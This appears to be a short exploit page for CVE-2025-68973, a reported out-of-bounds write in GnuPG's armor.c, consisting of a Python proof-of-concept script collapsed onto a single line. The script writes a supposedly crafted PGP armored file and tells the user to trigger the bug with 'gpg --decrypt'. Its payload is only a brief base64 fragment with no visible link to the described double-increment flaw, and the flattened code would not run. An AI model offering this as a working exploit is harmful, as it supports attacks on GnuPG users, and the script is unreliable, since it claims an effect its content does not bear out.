CVE-2025-68973 GnuPG armor.c越界写入高危漏洞

#!/usr/bin/env python3 # CVE-2025-68973 PoC - GnuPG armor.c Out-of-Bounds Write # Generate malicious PGP armored data to trigger the vulnerability def generate_poc_armor(): """ Generate a crafted PGP armored message that triggers the double-index increment bug in armor_filter() """ # This PoC generates a specially crafted ASCII armor message # that exploits the double increment bug in GnuPG's armor.c # # The vulnerability occurs when processing armor headers # where the line length and formatting cause the index variable # to be incremented twice in succession poc_data = """-----BEGIN PGP MESSAGE----- H4sIAAAAAAAAA2NkYGBgYGBg """ return poc_data def verify_vulnerability(): """ Verification script for CVE-2025-68973 Run: gpg --armor < poc_file to trigger potential OOB write """ poc = generate_poc_armor() with open('CVE-2025-68973_poc.asc', 'w') as f: f.write(poc) print('[+] PoC file generated: CVE-2025-68973_poc.asc') print('[+] Test with: gpg --decrypt CVE-2025-68973_poc.asc') if __name__ == '__main__': verify_vulnerability()